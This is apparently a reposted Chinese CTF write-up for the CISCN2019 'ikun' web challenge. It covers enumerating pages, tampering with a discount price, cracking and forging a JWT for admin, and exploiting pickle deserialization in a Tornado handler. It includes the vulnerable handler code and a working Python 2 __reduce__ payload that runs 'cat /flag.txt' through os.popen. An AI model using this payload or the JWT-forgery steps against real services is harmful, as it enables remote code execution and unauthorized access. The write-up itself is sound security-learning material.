当前位置: 首页 > news >正文

[CISCN2019 华北赛区 Day1 Web2]ikun

第一次做pickle反序列化

1.打开题目是这个页面

信息收集一下

目录扫描无可用信息、翻看源码,发现提示

感觉这个lv6就是提示,因为首页面下方对应的就是等级

寻找一下lv6

这里发现他的页数是可控的

然后lv等级数也是有规则的

那么只需要写个脚本,遍历他的页数,然后再搜索页面内容带有lv6.png字段的网页不就行了

脚本如下:

在181页面找到了lv6.png

查看一下

逻辑漏洞利用

打开到了一个结算页面,里面有优惠券,但是还是很贵买不起,抓包看看能不能进行一个修改

发现他的价钱还是1145……,然后后面打了一个8折,但是上面页面上出现的是91611……,那么他的优惠价是原价*0.8,那么这里将0.8变成0.0000001,那么价钱是不是就低了,实践一下

发现有一个路径/b1g_m4mber,点击跟随重定向看看到哪里了

JWT密钥爆破和伪造

这个页面两点注意,一是右边的只允许admin访问,左边是一个jwt编码,那么这个admin应该是通过jwt伪造的

解码发现里面有一个username字段,但是后面的 名字是我刚才注册的,后面还有一段加密的数据,这里使用c-jwt-cracher爆破一下密钥

密钥为1Kun,然后再伪造username为admin

进行一个替换,放回包到浏览器看看

这里有一个一键成为大会员,点击没啥反应,再看一下源码

2.分析代码

这里有一个www.zip,下载下来看看

在Admin.py下发现了是pickle反序列化

import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)

首先是导入一个Tornado web框架的主要模块,tornado.web,用来构建web应用

BaseHandler:这个类从sshop.base模块导入,通常用于定义处理HTTP请求的基本类

pickle:python的标准库,用于序列化和反序列化对象

urllib:python2的用于URL操作,unquote方法可以解码url编码的字符串

AdminHandler类:

这个类继承自BaseHandler,处理管理后台相关的请求。他有两个方法GET和POST请求

get方法:

这个方法会在用于通过浏览器请求一个页面时被调用。

@tornado.web.authenticated:这个装饰器表示用于必须已经通过身份认证才能访问此方法

self.current_user=="admin":表示检查当前用于是否是admin,如果是,则渲染form.html页面,并传递res='This is Black Technology!'和member=0给页面。如果不是,则渲染no_ass.html页面,表示没权限访问

post方法:

这个方法会在用户提交表单时被调用,通常用于处理表单数据。

self.get_argument('become'):获取表单种名为become的字段值。

然后首先使用urllib.unquote对become字段进行URL解码,然后使用pickle.loads将其反序列化为python对象。

如果反序列化成功,则渲染form.html页面,并将反序列化后的对象p和member=1作为参数传递给页面

简述一下就是

首先身份认证也就是JWT中的username的值为admin,那么就能传入become参数,这个参数可以用于传递恶意的序列化值,这个序列化值也没什么过滤,他会对序列化字段进行一个url解码,然后就将他进行进行反序列化操作

3.开始构造

这里也是构造链子,首先确认他的python环境是需要使用python2,其次是他没进行任何过滤,可以使用任意函数和模块,然后就是他会使用unquote进行一个解码,然后再反序列化,那么只需要将命令进行一个url编码,然后再序列化,从become传入,就能成功执行成功了

这个时候可以使用python魔术方法中的__reduce__,这是一个特殊的魔术方法,当使用pickle序列化对象时,__reduce__返回一个元组,告诉pickle如何恢复对象,那么让他返回的元组的值为我么们构造的命令执行语句,那么返回他就会让命令成功执行

可以这样写

import pickle import urllib class AdminHandler(object): def __reduce__(self): return (eval,("__import__('os').popen('cat /flag.txt').read()",)) b=pickle.dumps(AdminHandler()) b=urllib.quote(b) print(b)

首先是导入pickle和urllib,让AdminHandler继承一个object基类,然后定义一个__reduce__方法,然后里面的参数是当前对象,返回值为(eval,("__import__('os').popen('cat /flag.txt').read()",)),然后在进行一个实例化类,再进行一个反序列化,随后再让他进行一个url编码,最后打印出来

所以这个脚本的目的就是

在反序列化的时候会触发那个__reduce__方法,然后调用eval,__import__导入os模块,在调用系统命令popen,执行cat /flag.txt,并使用read进行读取文件内容

然后使用python2运行脚本

随后传入上去,得到flag

4.知识点

这题考验了

信息收集能力,JWT爆破密钥并进行伪造,pickle反序列化

首先是JWT爆破密钥,使用的是c-jwt-cracher工具进行一个爆破

关键还是pickle反序列化

这是python的一个反序列化,是将类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化为原始的对象的一个过程。

python中序列化的一般有两种方式,pickle模块和json模块,前者是python特有的格式,后者是json通用的格式。

然后是python序列化和反序列化相关函数

pickle.dump(obj,file):将对象序列化后保存到文件

pickle.load(file):读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj):将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj):将字符串格式的字节流反序列化为对象

魔术方法

__reduce__():反序列化时调用

必须返回一个元组,元素的第一个元素是一个可调用对象,第二个元素是要传递给该可调用对象的参数

__reduce_ex__():反序列化时调用

和__reduce__相似,返回一个可调用对象和构造该对象所需的参数

__getstate__():反序列化时调用

返回一个字典,该字典表示对象的状态。通过修改这个字典,可以控制对象被序列化的内容。

__setstate__():反序列化时调用

将反序列化的状态数据设置回对象的属性,他接收一个参数,这个参数是对象的状态数据(通常是字典形式),可以通过它恢复对象的状态

只列举了它的使用方法,具体利用原理因为牵扯到栈还有opcode指令集和PVM,还需要再进行了解

参考文章:

https://blog.csdn.net/weixin_62808713/article/details/130048382

https://xz.aliyun.com/news/13498

https://www.cnblogs.com/DSchenzi/p/19271665

http://www.cnnetsun.cn/news/94548.html

相关文章:

  • LobeChat投诉处理建议生成引擎
  • 杨建允:AI搜索优化赋能全链路营销的全流程
  • AI原生应用中的长尾用户意图理解解决方案
  • 23、Vim 多文件查找替换与全局命令使用技巧
  • 如何避免MySQL死锁?资深DBA的9条黄金法则
  • arcpy导出excel表
  • 视频硬字幕AI去除终极方案:本地化无损修复技术详解
  • BetterNCM插件完整教程:从零开始打造你的专属音乐工作站
  • 大模型注意力机制全解析:从MHA到MoBA,一文掌握七种核心算法
  • LobeChat能否实现AI调酒师?饮品配方创意与口味偏好匹配
  • 如何快速绕过iOS激活锁:AppleRa1n完整解决方案指南
  • 3分钟深入解析LLM注意力机制:轻松掌握核心原理!
  • UnrealPakViewer终极指南:Pak文件分析与虚幻引擎资源管理完整教程
  • TradingView图表库K线生成机制深度解析与实战指南
  • 智能字体协作者:AutoCAD字体自动修复的终极解决方案
  • [深度复盘] 恋爱是一场分布式系统灾难?手把手教你用状态机(FSM)重构女神的“潜台词”逻辑
  • 字符设备驱动(5)
  • Flutter 表单开发实战:表单验证、输入格式化与提交处理
  • 【光子 AI】AI Agent 架构师 / 技术专家 10 道必考面试题和必过答案完整讲解 1
  • Flutter 主题与深色模式:全局样式统一与动态切换
  • 基于 GEE 使用 Sentinel-2 遥感影像数据反演水体叶绿素 a 质量浓度
  • 小红书数据采集架构解析与工程实践
  • 长沙对非合作深化 探索新型易货贸易
  • OpenCore Legacy Patcher终极教程:让老旧Mac完美运行最新macOS
  • 1、开启GIMP图像编辑之旅:从安装到精通
  • 2、开启 GIMP 图形编辑之旅
  • 怎么建立一套高效的设备运维管理体系?
  • 小爱音箱AI升级:让你的智能音箱秒变高智商语音助手
  • UnrealPakViewer终极指南:从入门到精通的Pak文件分析完整教程
  • 俄罗斯T-Tech公司推出T-pro 2.0:让AI说俄语更流利混合智能模型